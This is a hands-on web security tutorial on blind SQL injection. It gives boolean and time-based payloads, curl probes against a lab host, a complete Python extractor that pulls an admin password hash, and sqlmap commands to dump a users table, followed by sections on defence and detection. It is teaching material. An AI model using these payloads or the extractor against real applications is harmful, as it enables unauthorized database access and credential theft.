0
Web Security INTERMEDIATE 12 min read Updated

Blind SQL Injection by Hand: Boolean and Time-Based Data Extraction

A hands-on blind SQL injection guide: turn a yes or no signal into real data, extract it bit by bit with boolean and time-based techniques, by hand and with sqlmap.

founder & security researcher · 39 writeups
Blind SQL Injection by Hand: Boolean and Time-Based Data Extraction

Blind SQL injection is the version of the bug where the database answers your questions but never shows you the result directly. The page looks the same whether your query returned a row or an error, so there is nothing to read. This guide shows how that silence is still an answer, how a single yes or no signal lets you pull an entire database one character at a time, and how to do it both by hand and with sqlmap. It finishes on the defender side, because the fix is the same one line that stops every other kind of SQL injection.

Read it in order the first time to build the mental model, then keep it open as a reference. Every payload here is for your own lab, a deliberately vulnerable app, or a target you are authorized to test.

Scope

Run these techniques only against an application you own or have written permission to assess, or a lab such as DVWA. Testing live sites without authorization is a crime.

01What you need before you start

Before you start, a few words make the rest of the guide click, and none of them are complicated. If you have ever written a basic SELECT and used a web form, you already have the background you need.

SQL injection happens when user input is glued into a database query as code instead of being treated as data, so your input can change what the query does. Blind means the application never shows you the query result or the database error. You cannot see the data, which is the whole challenge.

The trick is the oracle. An oracle is anything that answers a single true or false question about the database. In blind injection that answer arrives as a side effect rather than as text: the page content changes, or the response takes longer. Ask enough yes or no questions and you can reconstruct any value, the same way you would guess a number by asking whether it is higher or lower.

Two kinds of oracle carry this guide. Boolean-based blind injection reads the answer from a visible difference in the response. Time-based blind injection reads it from how long the response takes, for the cases where nothing visible changes at all.

Who this is for

If you understand a simple SQL query and can send a request with a proxy or curl, you can follow this. Work through it on DVWA or a lab box, and the technique becomes second nature.

02How blind SQL injection works

Blind SQL injection works by turning the database into a machine that answers one bit at a time. You inject a condition into the query, and the application behaves one way when the condition is true and another way when it is false. You never see the data itself. You see only the effect of a true or false result, and that single bit is enough to rebuild everything if you ask the right questions in the right order.

The diagram below is the loop at the heart of every blind extraction. You send a question, the database evaluates it, and the response carries a one-bit answer back to you.

the yes or no oracle
Injected conditionASCII(...) > 77 evaluate Databasetrue or false signal Response differencepage changes / delay

The art is choosing questions that narrow things down fast, so that pulling a password hash takes a few hundred requests instead of tens of thousands. The rest of this guide is really about asking good questions.

03Finding a blind injection point

Finding a blind injection point means proving the database reacts to your input, even when you cannot see any data. The test is a differential: send a condition that is always true, then one that is always false, and watch whether the two responses differ. If the true version returns the normal page and the false version returns something else, you have a boolean oracle.

sql
-- a classic baseline pair, injected into a string parameter
1' AND '1'='1        -- should behave like the normal request
1' AND '1'='2        -- should behave differently if injectable
a boolean difference
$ curl -s "http://lab.0xpriv.dev/item?id=1' AND '1'='1" | grep -c Welcome
1
$ curl -s "http://lab.0xpriv.dev/item?id=1' AND '1'='2" | grep -c Welcome
0

That one appears and then disappears depending on your condition, which is the oracle you need. When the page is identical for both, the response may still differ in a header, a status code, or a subtle length change, so compare carefully before you decide the parameter is not injectable.

04Boolean-based blind: reading one bit at a time

Boolean-based blind injection reads each bit of data from a visible change in the response. You wrap the data you want in a comparison, so the condition is true or false depending on the actual value, and the page tells you which. The building blocks are three standard SQL functions, and the whole technique is just combining them.

FunctionWhat it does
SUBSTRING(s, pos, 1)Takes one character of a string at a position
ASCII(c)Turns a character into its numeric code
LENGTH(s)Gives the length of a string

First find the length of the value, so you know how many characters to extract. Then, for each position, find the character by comparing its ASCII code.

sql
-- how long is the admin password hash?
1' AND LENGTH((SELECT password FROM users WHERE username='admin'))=32-- -

-- is the first character code greater than 77 (the letter M)?
1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77-- -

Guessing each character by trying all 95 printable values is slow. A binary search is far faster: ask whether the code is greater than the midpoint, halve the range based on the answer, and repeat. Seven questions pin down any character, so a 32-character hash costs around 224 requests rather than thousands.

binary search for one character
$ ASCII > 77 ? true  -> range 78-126
$ ASCII > 102? true  -> range 103-126
$ ASCII > 114? false -> range 103-114
$ ASCII > 108? true  -> range 109-114
$ ... converges on 101 -> character 'e'

05Time-based blind: when nothing visible changes

Time-based blind injection is the answer when the page looks identical no matter what your condition returns. Instead of reading a visible difference, you make the database pause when your condition is true, then measure the response time. A slow response means true, a fast one means false. It is slower and noisier than boolean, so reach for it only when there is no visible oracle.

The delay function differs by database engine, which is why fingerprinting the backend first saves time.

DatabaseConditional delay
MySQLIF(cond, SLEEP(3), 0)
PostgreSQLCASE WHEN cond THEN pg_sleep(3) ELSE pg_sleep(0) END
Microsoft SQL ServerIF(cond) WAITFOR DELAY '0:0:3'
OracleCASE WHEN cond THEN dbms_lock.sleep(3) ELSE 0 END
sql
-- MySQL: pause three seconds if the first character code is above 77
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77, SLEEP(3), 0)-- -
reading the answer from the clock
$ curl -s -o /dev/null -w "%{time_total}\n" "http://lab.0xpriv.dev/item?id=1' AND IF(1=1,SLEEP(3),0)-- -"
3.08
$ curl -s -o /dev/null -w "%{time_total}\n" "http://lab.0xpriv.dev/item?id=1' AND IF(1=2,SLEEP(3),0)-- -"
0.04
Tune the delay

Too short and network jitter looks like a true answer. Too long and extraction crawls. Two to three seconds is a sane default, and you can confirm a true result by repeating the request.

06Extracting data character by character

Extracting data character by character is the same loop whether you use boolean or time, so once you have an oracle the method is fixed. You walk each position of the target value, binary search its character code, and move on until the string ends. Writing it out as steps makes the automation obvious.

Pick the target

Decide what to read, such as the database version, a table name, or one password hash, written as a subquery.

Find the length

Binary search LENGTH(...) so you know how many characters to pull.

Extract each character

For every position, binary search the ASCII code with your oracle, about seven requests per character.

Reassemble

Turn each code back into a character and join them. The value appears one letter at a time.

the extraction loop
Position NN = 1, 2, 3 ... Binary search~7 questions One character next position until the string ends

07Automating the extraction with a script

Automating the extraction is where a short script turns a tedious manual process into a few seconds of work, and writing one yourself is the best way to understand what sqlmap does under the hood. The script below is a complete boolean-based extractor. It sends each question, checks the response for a marker that only appears on a true result, and binary searches every character.

python
# boolean-based blind SQLi extractor | 0xpriv.dev/web
# run only against a lab you own, e.g. http://lab.0xpriv.dev
import requests

URL = "http://lab.0xpriv.dev/item"
TRUE_MARK = "Welcome"          # a string present only when the condition is true

def oracle(condition):
    payload = f"1' AND {condition}-- -"
    r = requests.get(URL, params={"id": payload})
    return TRUE_MARK in r.text

def extract(query):
    result = ""
    for pos in range(1, 64):
        if not oracle(f"ASCII(SUBSTRING(({query}),{pos},1)) > 0"):
            break                      # no more characters
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle(f"ASCII(SUBSTRING(({query}),{pos},1)) > {mid}"):
                lo = mid + 1
            else:
                hi = mid
        result += chr(lo)
        print(result)                  # watch it build up
    return result

extract("SELECT password FROM users WHERE username='admin'")

Switching this to time-based is a two-line change: wrap the condition in the delay function for your database, and in oracle measure r.elapsed.total_seconds() instead of searching the body for a marker. The extraction loop stays exactly the same, which is the whole point of the binary-search method.

Be gentle

Even a fast boolean extraction is hundreds of requests. Add a small delay between them on a shared target, and never point this at infrastructure you do not control.

08Letting sqlmap do the heavy lifting

sqlmap automates everything above, which is why it is the tool you reach for once you understand the manual method. It detects the injection, fingerprints the database, and extracts data with the same boolean and time-based techniques, only far faster. Point it at a saved request, limit it to the blind techniques, and let it confirm the oracle for you.

bash
# confirm using only blind techniques: B = boolean, T = time-based
python sqlmap.py -r request.txt -p id --technique=BT --batch

# give it the true marker for a cleaner boolean oracle
python sqlmap.py -u "http://lab.0xpriv.dev/item?id=1" -p id \
  --technique=B --string="Welcome" --batch

# time-based only, with a sane delay threshold
python sqlmap.py -r request.txt --technique=T --time-sec=3 --batch

Once it confirms the injection, extraction is a flag away. Walk down from the structure rather than dumping everything, because on a blind injection every row costs real time and noise.

bash
# current database and version, then a targeted read
python sqlmap.py -r request.txt --current-db --banner --batch
python sqlmap.py -r request.txt -D appdb -T users -C username,password --dump --batch
sqlmap confirming a blind injection
$ python sqlmap.py -r request.txt -p id --technique=BT --batch
[INFO] parameter 'id' is 'AND boolean-based blind' injectable
[INFO] parameter 'id' is 'MySQL >= 5.0 time-based blind' injectable
[INFO] the back-end DBMS is MySQL

09Defending against SQL injection

Defending against SQL injection is the same whether the bug is visible or blind, because the root cause is identical: user input reaching the query as code. The fix is parameterized queries, where the structure and the values travel to the database separately, so input can never change the grammar. Everything else is defence in depth around that one control.

php
// the fix: a prepared statement, values bound as data
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);
Mitigation summary
Parameterize every query. Prepared statements send structure and values separately, which closes blind and visible injection alike.
Prefer an ORM for day-to-day queries, and audit every raw or string-built query by hand.
Use least-privilege database accounts so a missed bug cannot read or change the whole schema.
Treat a WAF as a speed bump. It raises the cost of exploitation but does not fix the bug, so never rely on it alone.

10Detecting blind injection attempts

Detecting blind injection attempts is easier than it sounds, because the technique has a loud signature once you know what to look for. A single client sending hundreds of nearly identical requests to one parameter, each differing only in a number, is the boolean extraction pattern. A burst of requests whose response times cluster around a fixed delay, such as three seconds, is time-based extraction. Both stand out in access logs and in any tool that watches request timing, so alert on the behaviour rather than trying to match a payload string.

11Frequently asked questions

What is the difference between blind and classic SQL injection?FAQ

Classic, or in-band, SQL injection returns the data or a database error in the response, so you read the result directly. Blind injection returns neither, so you infer the data one bit at a time from a side effect such as a page change or a delay. The underlying bug is the same.

When should I use time-based instead of boolean?FAQ

Use boolean whenever the response visibly changes with your condition, because it is faster and more reliable. Fall back to time-based only when the page looks identical for true and false, since timing is slower and more sensitive to network noise.

How many requests does blind extraction take?FAQ

With a binary search, about seven requests per character, plus a few to find the length. A 32-character hash is roughly 230 requests, which is why automation matters and why the loud request pattern is easy for defenders to spot.

Does a prepared statement really stop blind injection?FAQ

Yes. A parameterized query sends your input as a bound value that the database never parses as part of the query, so there is no condition to inject and no oracle to read. It closes blind and visible injection with the same change.

12Wrapping up

Blind SQL injection looks intimidating because there is nothing to read, but it comes down to one idea: an oracle that answers true or false, asked in a smart order. Boolean reads that answer from the page, time-based reads it from the clock, and a binary search turns a handful of questions into a full character. Learn the manual method on a lab box, let sqlmap do it at speed once you understand it, and remember that the whole class disappears the moment every query is parameterized.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Web →

discussion

0 comments
`code` supported · comments are reviewed before they appear